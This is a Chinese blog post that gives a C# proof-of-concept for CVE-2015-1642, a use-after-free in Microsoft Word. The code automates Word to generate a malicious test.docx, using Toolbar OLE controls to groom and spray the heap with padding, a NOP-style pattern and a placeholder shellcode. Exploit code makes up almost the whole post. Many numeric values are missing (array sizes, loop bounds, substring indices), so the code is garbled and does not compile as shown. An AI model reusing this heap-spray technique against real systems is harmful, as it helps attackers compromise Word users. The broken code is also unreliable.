CVE-2015-1642 POC

　　月初，玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章，之前对office上UAF漏洞利用占位问题有些疑问，刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定，漏洞成因和利用的细节请参见原文链接。今天想起来，就把POC发这里吧。

　　原文链接：Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1
 {
     public partial class Form1 : Form
     {
         public Form1()
         {
             InitializeComponent();
         }

         private void HeapSpray(Word.Document objDoc)
         {
             Word.InlineShape[] ocx = new Word.InlineShape[];
             MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ];

             int block_size = 0x1000;

             string padding = "\u8080\u8080";
             while (padding.Length < 0x1000)
             {
                 padding += "\u2121\u2121";
             }
             padding = padding.Substring(, (0x9f2 - 0xc) / );

             // 0a0a0a0a points here
             string shellcode = "\uC0DE\uC0DE";

             string pattern = "\u9090\u9090";
             while (pattern.Length < block_size)
             {
                 pattern += pattern;
             }
             pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length);

             string block = padding + shellcode + pattern;
             while (block.Length < 0xfffe0 / )
             {
                 block += block;
             }

             string chunk = block.Substring(, (0xfffe0 - 0x6) / );

             //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X"));

             for (int i = ; i < ; i++)
             {
                 ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
                 for (int j = ; j < ; j++)
                 {
                     toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
                     toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
                 }
             }
         }

         private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
         {
             string paddingB = "\u0c0c\u0c0c";
             while (paddingB.Length < 0x60 / )
             {
                 paddingB += paddingB;
             }
             string objAllocB = paddingB.Substring(, 0x5a / );

             MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];
             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)
             {
                 tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
                 tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
             }

             MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];
             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)
             {
                 tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
                 tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
             }
         }

         private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
         {
             string paddingA = "\u0a06\u0a0a";
             while (paddingA.Length < 0x60 / )
             {
                 paddingA += paddingA;
             }
             string objAllocA = paddingA.Substring(, 0x5a / );

             MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];
             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             for (int j = ; j < ; j++)
             {
                 tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
                 tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
             }
         }

         private void button1_Click(object sender, EventArgs e)
         {
             Word.Application objWord = new Word.Application();
             objWord.Visible = true;

             object objMissing = System.Reflection.Missing.Value;
             Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing);

             // How to: Programmatically Insert Text into Word Documents;
             // https://msdn.microsoft.com/en-us/library/6b9478cs.aspx 

             Word.InlineShape[] ocx = new Word.InlineShape[];

             ReplaceHeap(objDoc, ocx);

             ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");

             DefragmenHeap(objDoc, ocx);

             HeapSpray(objDoc);

             // Null out the reference
             object filename = Application.StartupPath + @"\test.docx";
             objDoc.SaveAs2(ref filename);
             objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
             objDoc = null;
             objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
             objWord = null;
         }
     }
 }